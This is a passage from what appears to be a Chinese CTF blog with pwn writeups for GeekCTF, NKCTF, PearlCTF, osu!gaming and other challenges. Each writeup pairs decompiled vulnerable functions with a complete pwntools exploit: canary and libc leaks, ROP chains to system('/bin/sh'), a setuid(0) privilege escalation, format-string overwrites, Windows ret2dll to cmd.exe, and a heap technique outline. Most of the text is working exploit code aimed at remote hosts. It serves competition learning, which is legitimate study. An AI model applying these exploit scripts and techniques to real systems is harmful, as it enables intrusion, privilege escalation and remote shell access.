payload += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(buf) + p64(pop_rdx) + p64(0x30) + p64(0) + p64(write)+b"./flag\x00"
s(payload)

p.interactive()
Read More
post @ 2024-04-24

题目附件https://github.com/nyyyddddn/ctf/tree/main/geekcon

pwnable

Memo0

有一个login函数,login success了会调用一个输出flag的函数

unsigned __int64 login()
{
  unsigned __int64 v0; // rax
  size_t v1; // rax
  _BYTE *s1; // [rsp+8h] [rbp-38h]
  char s[40]; // [rsp+10h] [rbp-30h] BYREF
  unsigned __int64 v5; // [rsp+38h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  printf("Please enter your password: ");
  __isoc99_scanf("%29s", s);
  v0 = strlen(s);
  s1 = sub_12E9((__int64)s, v0);
  if ( !s1 )
  {
    puts("Error!");
    exit(-1);
  }
  v1 = strlen(s2);
  if ( memcmp(s1, s2, v1) )
  {
    puts("Password Error.");
    exit(-1);
  }
  puts("Login Success!");
  sub_1623();
  free(s1);
  return v5 - __readfsqword(0x28u);
}

三个字节转换成四个一组然后 sbox,很明显是base64,然后把索引表换了

_BYTE *__fastcall sub_12E9(__int64 a1, unsigned __int64 a2)
{
  unsigned __int64 v3; // rax
  unsigned __int64 v4; // rax
  int v5; // eax
  unsigned __int64 v6; // rax
  int v7; // eax
  __int64 v8; // rax
  int i; // [rsp+1Ch] [rbp-34h]
  int v10; // [rsp+20h] [rbp-30h]
  int v11; // [rsp+24h] [rbp-2Ch]
  unsigned int v12; // [rsp+2Ch] [rbp-24h]
  unsigned __int64 v13; // [rsp+30h] [rbp-20h]
  __int64 v14; // [rsp+38h] [rbp-18h]
  unsigned __int64 v15; // [rsp+40h] [rbp-10h]
  _BYTE *v16; // [rsp+48h] [rbp-8h]

  v15 = 4 * ((a2 + 2) / 3);
  v16 = malloc(v15 + 1);
  if ( !v16 )
    return 0LL;
  v13 = 0LL;
  v14 = 0LL;
  while ( v13 < a2 )
  {
    v3 = v13++;
    v10 = *(unsigned __int8 *)(a1 + v3);
    if ( v13 >= a2 )
    {
      v5 = 0;
    }
    else
    {
      v4 = v13++;
      v5 = *(unsigned __int8 *)(a1 + v4);
    }
    v11 = v5;
    if ( v13 >= a2 )
    {
      v7 = 0;
    }
    else
    {
      v6 = v13++;
      v7 = *(unsigned __int8 *)(a1 + v6);
    }
    v12 = (v11 << 8) + (v10 << 16) + v7;
    v16[v14] = aZyxwvutsrqponm[(v12 >> 18) & 0x3F];
    v16[v14 + 1] = aZyxwvutsrqponm[(v12 >> 12) & 0x3F];
    v16[v14 + 2] = aZyxwvutsrqponm[(v12 >> 6) & 0x3F];
    v8 = v14 + 3;
    v14 += 4LL;
    v16[v8] = aZyxwvutsrqponm[v12 & 0x3F];
  }
  for ( i = 0; i < (3 - a2 % 3) % 3; ++i )
    v16[v15 - i - 1] = '=';
  v16[v15] = 0;
  return v16;
}

直接解密拿到login用的password,login后拿到flag

Memo1

memo1在memo0的基础上去掉了backdoor函数

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  int v3; // eax
  unsigned int v5; // [rsp+8h] [rbp-118h]
  char s[264]; // [rsp+10h] [rbp-110h] BYREF
  unsigned __int64 v7; // [rsp+118h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  sub_1594(a1, a2, a3);
  puts("===================Memo Login===================");
  login();
  v5 = 0;
  while ( 1 )
  {
    while ( 1 )
    {
      v3 = sub_188A();
      if ( v3 != 4 )
        break;
      v5 = 0;
      memset(s, 0, 0x100uLL);
    }
    if ( v3 > 4 )
      break;
    switch ( v3 )
    {
      case 3:
        sub_17F2(s, v5);
        break;
      case 1:
        v5 += sub_1780(s, v5);
        break;
      case 2:
        puts("Content:");
        puts(s);
        break;
      default:
        goto LABEL_12;
    }
  }
LABEL_12:
  puts("Error Choice!");
  return 0LL;
}

在这个子函数里面存在一个有符号数转无符号数的溢出,由于程序存在canary 得控制输入数据在恰当大小下用puts把canary泄露出来,补码中接近0的负数 高位全是1,所以得找一个尽可能远离0的负数,搜索八个字节有符号整数能表示的最小的数是 -9223372036854775808,所以只需要构造一个 -9223372036854775808 + size的表达式,就能控制read to buf的size

unsigned __int64 __fastcall sub_17F2(__int64 a1, unsigned int a2)
{
  __int64 v3; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  printf("How many characters do you want to change:");
  __isoc99_scanf("%lld", &v3);
  if ( a2 > v3 )
  {
    read_to_buf(a1, v3);
    puts("Done!");
  }
  return v4 - __readfsqword(0x28u);
}

通过puts去泄露libc和canary的值,然后打rop就好了

exp:

from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 0
IP = "chall.geekctf.geekcon.top"
PORT = 40311

elf = context.binary = ELF('./memo1')
libc = elf.libc

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

p = connect()

password ="CTF_is_interesting_isn0t_it?" 
sla("Please enter your password:",password)


def add(data):
    sla("Your choice:","1")
    sla("What do you want to write in the memo:",data)

def show():
    sla("Your choice:","2")

def edit(num,data):
    sla("Your choice:","3")
    sla("How many characters do you want to change:",str(num))
    s(data)


add(b'a' * 0x10)
edit((-9223372036854775808 + (0x110 - 8 + 1)),b"G" * (0x110 - 8 + 1))
show()
ru(b"G" * (0x110 - 8))
leak_canary = u64(r(8)) & 0xffffffffffffff00
success(f"libc_base ->{hex(leak_canary)}")


payload = b'G' * (0x110 - 8) + b'G' * 0x10
edit((-9223372036854775808 + (0x118)),payload)
show()

ru(b'G' * (0x110 - 8) + b'G' * 0x10)

libc_base = u64(r(6).ljust(8,b'\x00')) - (0x732289629d90 - 0x732289600000)
success(f"libc_base ->{hex(libc_base)}")

rdi = libc_base + 0x000000000002a3e5
binsh = libc_base + next(libc.search(b'/bin/sh'))
system = libc_base + libc.sym['system']
ret = libc_base + 0x00000000000c45e3 # 0x00000000000c45e3 : sub rax, 1 ; ret

payload = b'G' * (0x110 - 8) + p64(leak_canary) + b'G' * 8 + p64(ret) + p64(rdi) + p64(binsh) + p64(system)

edit((-9223372036854775808 + (len(payload))),payload)
sla("Your choice:","5")

p.interactive()

shellcode

好难,这个shellcode,有一个沙箱,得用侧信道爆破,不过侧信道爆破这个问题不大,难的地方在绕过这个沙箱最好的方法是 sysycall read一次,但是syscall两个字节取余后都为1,然后( (char)(*((char *)buf + i) % 2) != i % 2 ) 取余判断这里 其实是存在一个溢出的,也就是说只能用 127以下的指令去实现self modifying code 造一个syscall read,能用的指令非常有限,搓出 sysycall read之后,填充大量的nop在nop后边写一个 open read cmp的逻辑,如果cmp成功就陷入一个比较大的循环,通过每次交互的时间差来判断flag的内容

处理时间差的策略是,针对每个pos 记录下 start_time 和 end_time的差,找出其中最大的差

__int64 sub_1290()
{
  __int64 result; // rax
  __int64 v1; // [rsp+8h] [rbp-8h]

  v1 = seccomp_init(0LL);
  seccomp_rule_add(v1, 2147418112LL, 2LL, 0LL);
  seccomp_rule_add(v1, 2147418112LL, 0LL, 0LL);
  result = seccomp_load(v1);
  if ( (int)result < 0 )
  {
    perror("seccomp_load failed");
    exit(1);
  }
  return result;
}
Read More
post @ 2024-03-27

唉咱好菜,就出了两个题,后几题都没有思路

Maimai查分器

子函数这里有一个格式化字符串和栈溢出漏洞,用格式化字符串泄露libc的地址和canary的值,然后打ret2libc就好了,打通后catflag发现没有权限,看了一下challenge文件,有suid权限,所以可以用libc中的setuid(0)函数提权,然后cat flag

unsigned __int64 sub_19EA()
{
  char buf[8]; // [rsp+0h] [rbp-10h] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("Input your nickname.");
  read(0, buf, 8uLL);
  printf(buf);
  printf(", your rating is: %d\n", (unsigned int)dword_504C);
  if ( dword_504C < dword_5010 )
  {
    puts("I think you should play more maimai.");
    exit(0);
  }
  sub_1984();
  return v2 - __readfsqword(0x28u);
}

unsigned __int64 sub_1984()
{
  char buf[40]; // [rsp+0h] [rbp-30h] BYREF
  unsigned __int64 v2; // [rsp+28h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("Big God Coming!");
  puts("Can you teach me how to play maimai?");
  read(0, buf, 0x80uLL);
  return v2 - __readfsqword(0x28u);
}

exp:

from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 0
IP = "node.nkctf.yuzhian.com.cn"
PORT = 30008

elf = context.binary = ELF('./pwn')
libc = elf.libc

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

def playmaimai():
    sla("Select a option:","1")
    ru("Input chart level and rank.")

    for i in range(50):
        sl("234 SSS+")

p = connect()

playmaimai()
sla("Select a option:","2")

payload = "%7$p"
sa("Input your nickname.",payload)
rl()
leak_canary = int(r(18),16)
success(hex(leak_canary))
sla("Can you teach me how to play maimai?","AAAA")


sla("Select a option:","2")
payload = "%13$paa"
# g(p)
sa("Input your nickname.",payload)
rl()
libc_base = int(r(14),16) - 0x29d90
success(hex(libc_base))


rdi = libc_base + 0x000000000002a3e5
ret = libc_base + 0x0000000000029139
system = libc_base + libc.sym['system']
binsh = libc_base + next(libc.search(b'/bin/sh'))
setuid = libc_base + libc.sym['setuid']

payload = flat([
    b'a' * 0x28,leak_canary,b'a' * 0x8,
    rdi,0,setuid,
    rdi,binsh,system
])

sla("Can you teach me how to play maimai?",payload)

p.interactive()

来签个到

第一次做winpwn 相关的challenge

https://xz.aliyun.com/t/11891?time__1311=mqmx0DBD9DyG0QeDsKoYKIaNzY4AKvNx&alichlgref=https%3A%2F%2Fxz.aliyun.com%2Ft%2F11913%3Ftime__1311%3Dmqmx0DBGnDnDyDBuex2lfgx7KG%253DkmtG8KeD%26alichlgref%3Dhttps%253A%252F%252Fcn.bing.com%252F#toc-1

如何调试:

可以使用 https://github.com/Ex-Origin/win_server这个项目,用pwntool的remote()去连接,连接成功后会开启一个challenge相关的进程,连接成功后先pause(),用windbg attach上去,然后 bp address,g 打断点,之后pwntool那恢复运行,这样就会在断点那断下来

存在一个格式化字符串和栈溢出漏洞,没有pie和nx但是有canary,canary的位置在 ebp - 0xc的位置,尝试了一下%n$p这种表达式发现不太行,只能用大量的%p去泄露canary

利用的思路是泄露canary和动态链接库的地址,然后用动态链接库中的 system()执行 system(“cmd.exe”). ret2dll,

泄露的方式是用puts把iat表给打印出来

int OH()
{
  char s[100]; // [esp+18h] [ebp-70h] BYREF

  puts("NKCTF2024");
  memset(s, 0, sizeof(s));
  gets(s);
  printf(s);
  printf("ohhh,no");
  gets(s);
  return 1;
}

exp

from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='windows', arch='i386', log_level='debug')

is_debug = 0
IP = "192.168.1.101"
PORT = 9999

IP = "123.60.25.223"
PORT = 10001


def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

p = connect()

payload = "%p-" * 0x3 + "%p" * 27 + "-%p"

# pause()
sla("NKCTF2024",payload)
ru('-')
ru('-')
leak = int(r(8),16)
buf_addr = leak - (0x61fee0 - 0x61fea8)
print(hex(buf_addr))

ru('-')
ru('-')
canary =  int(r(8),16)
print(hex(canary))


puts_plt = 0x00403F8C
iat_puts = 0x00409230
main = 0x00401473


payload = b'%s' + b'a' * (0x70 - 0xc - 2) + struct.pack('<I', canary)
payload = payload.ljust(0x74,b'a')
payload += struct.pack('<I', puts_plt)
payload += struct.pack('<I', main)
payload += struct.pack('<I', iat_puts)

sla("ohhh,no",payload)

puts_addr = u32(r(4))
print(hex(puts_addr))

dll_base = puts_addr - 0x1017BA80
system_addr = dll_base + 0x10144700
cmd = dll_base + 0x101048C8
print(hex(dll_base))

payload = b'a' * (0x70 - 0xc) + struct.pack('<I', canary)
payload = payload.ljust(0x74,b'a')
payload += struct.pack('<I', system_addr)
payload += struct.pack('<I', main)
payload += struct.pack('<I', cmd)

sl("AAAA")
sla("ohhh,no",payload)

p.interactive()
Read More

Delulu

格式化字符串改低位两个字节就好了

int __cdecl main(int argc, const char **argv, const char **envp)
{
  __int64 v4[2]; // [rsp+0h] [rbp-40h] BYREF
  __int64 buf[6]; // [rsp+10h] [rbp-30h] BYREF

  buf[5] = __readfsqword(0x28u);
  v4[0] = 322419390LL;
  v4[1] = (__int64)v4;
  memset(buf, 0, 32);
  read(0, buf, 0x1FuLL);
  printf("\n[!] Checking.. ");
  printf((const char *)buf);
  if ( v4[0] == 322420463 )
    delulu();
  else
    error("ALERT ALERT ALERT ALERT\n");
  return 0;
}

exp

from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 0
IP = "83.136.255.150"
PORT = 53288 

elf = context.binary = ELF('./delulu')
libc = elf.libc

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

p = connect()

payload = "%" + str(0xBEEF)+ "c%7$hn"

# ru(">>")
time.sleep(0.5)
s(payload)

p.interactive()

Writing on the Wall

过了这个cmp 就能拿到flag了,然后输入有七个字节,刚刚好能覆盖s2的低位一个字节,strcmp是根据 \x00来判断字符串结尾的,那输入 七个 \x00,cmp就能过了

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf[6]; // [rsp+Ah] [rbp-16h] BYREF
  char s2[8]; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v6; // [rsp+18h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  *(_QWORD *)s2 = 0x2073736170743377LL;
  read(0, buf, 7uLL);
  if ( !strcmp(buf, s2) )
    open_door();
  else
    error("You activated the alarm! Troops are coming your way, RUN!\n");
  return 0;
}

exp

from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 0
IP = "83.136.253.78"
PORT = 37705

elf = context.binary = ELF('./writing_on_the_wall')
libc = elf.libc

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

p = connect()


payload = b'\x00' * 7


time.sleep(1)
# g(p)
s(payload)

p.interactive()

Pet Companion

ret2libc

int __cdecl main(int argc, const char **argv, const char **envp)
{
  __int64 buf[8]; // [rsp+0h] [rbp-40h] BYREF

  setup(argc, argv, envp);
  memset(buf, 0, sizeof(buf));
  write(1, "\n[!] Set your pet companion's current status: ", 0x2EuLL);
  read(0, buf, 0x100uLL);
  write(1, "\n[*] Configuring...\n\n", 0x15uLL);
  return 0;
}

exp

from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 0
IP = "94.237.55.185"
PORT = 59050

elf = context.binary = ELF('./pet_companion')
libc = elf.libc

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

p = connect()


# 0x000000000040073c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
# 0x000000000040073e : pop r13 ; pop r14 ; pop r15 ; ret
# 0x0000000000400740 : pop r14 ; pop r15 ; ret
# 0x0000000000400742 : pop r15 ; ret
# 0x0000000000400604 : pop rbp ; jmp 0x400590
# 0x000000000040057b : pop rbp ; mov edi, 0x601010 ; jmp rax
# 0x000000000040073b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
# 0x000000000040073f : pop rbp ; pop r14 ; pop r15 ; ret
# 0x0000000000400588 : pop rbp ; ret
# 0x0000000000400743 : pop rdi ; ret
# 0x0000000000400741 : pop rsi ; pop r15 ; ret
# 0x000000000040073d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret

write_plt = elf.plt['write']
write_got = elf.got['write']
main = 0x40064A

rdi = 0x400743
rsi_r15 = 0x400741
ret = 0x00000000004004de

payload = flat([
    b'a' * 0x48,
    rsi_r15,write_got,0,write_plt,main
])
sla("status:",payload)

ru("\n[*] Configuring...\n\n")
libc_base = u64(r(6).ljust(8,b'\x00')) - libc.sym['write']
success(f"libc_base ->{hex(libc_base)}")


system = libc_base + libc.sym['system']
binsh = libc_base + next(libc.search(b'/bin/sh'))



payload = flat([
    b'a' * 0x48,
    rdi,binsh,system
])
sla("status:",payload)




p.interactive()

Rocket Blaster XXX

里面有一个和调用约定 传参顺序相关的小游戏,过了那个小游戏拿到flag

int __cdecl main(int argc, const char **argv, const char **envp)
{
  __int64 buf[4]; // [rsp+0h] [rbp-20h] BYREF

  banner(argc, argv, envp);
  memset(buf, 0, sizeof(buf));
  fflush(_bss_start);
  printf(
    "\n"
    "Prepare for trouble and make it double, or triple..\n"
    "\n"
    "You need to place the ammo in the right place to load the Rocket Blaster XXX!\n"
    "\n"
    ">> ");
  fflush(_bss_start);
  read(0, buf, 0x66uLL);
  puts("\nPreparing beta testing..");
  return 0;
}

exp

from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 0
IP = "94.237.51.96"
PORT = 40975

elf = context.binary = ELF('./rocket_blaster_xxx')
libc = elf.libc

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

p = connect()


rdi = 0x000000000040159f
rsi = 0x000000000040159d
rdx = 0x000000000040159b

fill_ammo = 0x4012FA

payload = flat([
    b"a" * 0x28,
    rdi,0x0DEADBEEF,rsi,0x0DEADBABE,rdx,0x0DEAD1337,fill_ammo
])


# g(p)
sa(">> ",payload)


print(len(payload))
p.interactive()
Read More
post @ 2024-03-10

Adventure

这印度的服务器稀烂,打半天打不通

有一个子函数里面存在栈溢出,用libcsearcher打ret2libc就好了

void __cdecl hatchEgg()
{
  char name[20]; // [rsp+0h] [rbp-20h] BYREF

  puts("You wish to hatch the egg!");
  puts("Give the baby dragon a name");
  getchar();
  fflush(stdin);
  gets(name);
  printf("Your dragon is now called %s\n", name);
  printf("You leave the area with %s\n", name);
}
from pwn import *
from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 0
IP = "dyn.ctf.pearlctf.in"
PORT = 30014

elf = context.binary = ELF('./adventure')
libc = elf.libc

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])


p = connect()


# 2 - > 1 -> getchar -> gets

rdi = 0x000000000040121e
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main = 0x401223
ret = 0x000000000040101a

payload = b"a" * (0x20 + 0x8)
payload += p64(rdi) + p64(puts_got) + p64(puts_plt) + p64(main)

# sla("Adventure!","2")
# sla("No","1")

time.sleep(2)
sl("2")
time.sleep(2)
sl("1")


# g(p)
sla("Give the baby dragon a name",payload)

rl()
rl()
rl()
leak = u64(rl()[:-1].ljust(8,b'\x00'))
print(hex(leak))

# 4
libc = libc = LibcSearcher('puts',leak) 
libc_base= leak - libc.dump("puts")
print(hex(libc_base))
binsh = libc_base + libc.dump("str_bin_sh")
system = libc_base + libc.dump("system")


payload = b"a" * (0x20 + 0x8 + 0x1)
payload += p64(rdi) + p64(binsh) + p64(ret) + p64(system)
# g(p)
sla("Give the baby dragon a name",payload)



p.interactive()

babyheap

https://bbs.kanxue.com/thread-273702.htm

https://www.roderickchan.cn/zh-cn/house-of-apple-%E4%B8%80%E7%A7%8D%E6%96%B0%E7%9A%84glibc%E4%B8%ADio%E6%94%BB%E5%87%BB%E6%96%B9%E6%B3%95-2/#%E5%88%A9%E7%94%A8_io_wfile_overflow%E5%87%BD%E6%95%B0%E6%8E%A7%E5%88%B6%E7%A8%8B%E5%BA%8F%E6%89%A7%E8%A1%8C%E6%B5%81

glibc 2.35,先通过unsortedbin和tcache bin去泄露libc_base和heap_base,然后fastbin double free,打house of apple2,最后exit触发io _IO_flush_all_lockp,然后伪造iofile劫持控制流,2.35中fastbin 和 tcachebin fd next的位置有一个加密,加密的过程是这样的

#define PROTECT_PTR(pos, ptr) \
  ((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr)))

pos 是指存储fd指针的地址,可以通过heap_base 加一个偏移计算出来,所以在double free写fd指针的时候,将fd指针加密再写进去,

e.g.

target = 0x114514
target = (pos >> 12) ^ target

然后关于iofile这个结构体的构造,pwntool中是有很好的解决方法

https://docs.pwntools.com/en/stable/filepointer.html

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  unsigned __int64 v3; // [rsp+8h] [rbp-8h]

  sub_1249(a1, a2, a3);
  while ( 1 )
  {
    puts("\n1. Create note\n2. Delete note\n3. View notes\n4. Exit");
    printf("Enter choice ");
    v3 = sub_1290();
    if ( v3 == 4 )
      exit(0);
    if ( v3 > 4 )
    {
LABEL_13:
      puts("Why would you do that.");
    }
    else if ( v3 == 3 )
    {
      sub_14F1();
    }
    else
    {
      if ( v3 > 3 )
        goto LABEL_13;
      if ( v3 == 1 )
      {
        sub_1303();
      }
      else
      {
        if ( v3 != 2 )
          goto LABEL_13;
        sub_147B();
      }
    }
  }
}
int sub_14F1()
{
  unsigned __int64 v1; // [rsp+8h] [rbp-8h]

  printf("Note Index ");
  v1 = sub_1290();
  if ( v1 <= 0xF )
    return puts(*((const char **)&unk_4060 + v1));
  else
    return puts("Invalid note index.");
}
unsigned __int64 sub_1303()
{
  unsigned __int64 size; // [rsp+8h] [rbp-228h]
  unsigned __int64 v2; // [rsp+10h] [rbp-220h]
  void *v3; // [rsp+18h] [rbp-218h]
  unsigned __int64 v4; // [rsp+228h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  printf("Note Index ");
  v2 = sub_1290();
  if ( v2 > 0xF )
  {
    puts("Thats an invalid index.");
    exit(1);
  }
  printf("Note Size ");
  size = sub_1290();
  if ( size > 0x200 )
  {
    printf("Thats too long for a single Note!!!");
    exit(1);
  }
  v3 = malloc(size);
  if ( !v3 )
  {
    puts("Failed to malloc. Assuming fatal error.");
    exit(1);
  }
  *((_QWORD *)&unk_4060 + v2) = v3;
  printf("Note Content > ");
  fgets(*((char **)&unk_4060 + v2), size, stdin);
  return v4 - __readfsqword(0x28u);
}
int sub_147B()
{
  unsigned __int64 v1; // [rsp+8h] [rbp-8h]

  printf("Note Index ");
  v1 = sub_1290();
  if ( v1 > 0xF )
    return puts("Invalid note index.");
  free(*((void **)&unk_4060 + v1));
  return puts("Note deleted.");
}

exp

Read More
post @ 2024-03-04

pwn

betterthanu

fgets那存在一个溢出,覆盖 v6为727,v5的值小于v6就好了

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s[16]; // [rsp+0h] [rbp-20h] BYREF
  unsigned __int64 v5; // [rsp+10h] [rbp-10h]
  unsigned int v6; // [rsp+1Ch] [rbp-4h]

  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  printf("How much pp did you get? ");
  fgets(s, 100, stdin);
  v6 = atoi(s);
  v5 = v6 + 1;
  puts("Any last words?");
  fgets(s, 100, stdin);
  if ( v5 < v6 )
  {
    puts("What??? how did you beat me??");
    puts("Hmm... I'll consider giving you the flag");
    if ( v6 == 727 )
    {
      printf("Wait, you got %d pp?\n", 727LL);
      printf("You can't possibly be an NPC! Here, have the flag: ");
      flag_file = fopen("flag.txt", "r");
      fgets(flag, 100, flag_file);
      puts(flag);
    }
    else
    {
      puts("Just kidding!");
    }
  }
  else
  {
    printf("Ha! I got %d\n", v5);
    puts("Maybe you'll beat me next time");
  }
  return 0;
}

exp

from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 0
IP = "chal.osugaming.lol"
PORT = 7279

elf = context.binary = ELF('./challenge')
libc = elf.libc

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

p = connect()


payload = b"a" * (0x10) +p64(0) + p32(0) + p32(0x2D7)

sla("How much pp did you get? ","11")
# g(p)
sla("Any last words?",payload)

p.interactive()

miss-analyzer

题目实现了一个 osr parser,https://osu.ppy.sh/wiki/en/Client/File_formats/osr_%28file_format%29,只解析到miss次数那

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char *v3; // rbx
  char v5; // [rsp+15h] [rbp-14Bh]
  __int16 v6; // [rsp+16h] [rbp-14Ah]
  char *lineptr; // [rsp+18h] [rbp-148h] BYREF
  size_t n; // [rsp+20h] [rbp-140h] BYREF
  void *ptr; // [rsp+28h] [rbp-138h] BYREF
  __int64 v10; // [rsp+30h] [rbp-130h] BYREF
  void *v11; // [rsp+38h] [rbp-128h] BYREF
  char format[264]; // [rsp+40h] [rbp-120h] BYREF
  unsigned __int64 v13; // [rsp+148h] [rbp-18h]

  v13 = __readfsqword(0x28u);
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  while ( 1 )
  {
    puts("Submit replay as hex (use xxd -p -c0 replay.osr | ./analyzer):");
    lineptr = 0LL;
    n = 0LL;
    if ( getline(&lineptr, &n, stdin) <= 0 )
      break;
    v3 = lineptr;
    v3[strcspn(lineptr, "\n")] = 0;
    if ( !*lineptr )
      break;
    v10 = hexs2bin(lineptr, &ptr);
    v11 = ptr;
    if ( !v10 )
    {
      puts("Error: failed to decode hex");
      return 1;
    }
    puts("\n=~= miss-analyzer =~=");
    v5 = read_byte(&v11, &v10);
    if ( v5 )
    {
      switch ( v5 )
      {
        case 1:
          puts("Mode: osu!taiko");
          break;
        case 2:
          puts("Mode: osu!catch");
          break;
        case 3:
          puts("Mode: osu!mania");
          break;
      }
    }
    else
    {
      puts("Mode: osu!");
    }
    consume_bytes(&v11, &v10, 4LL);
    read_string(&v11, &v10, format, 255LL);
    printf("Hash: %s\n", format);
    read_string(&v11, &v10, format, 255LL);
    printf("Player name: ");
    printf(format);
    putchar(10);
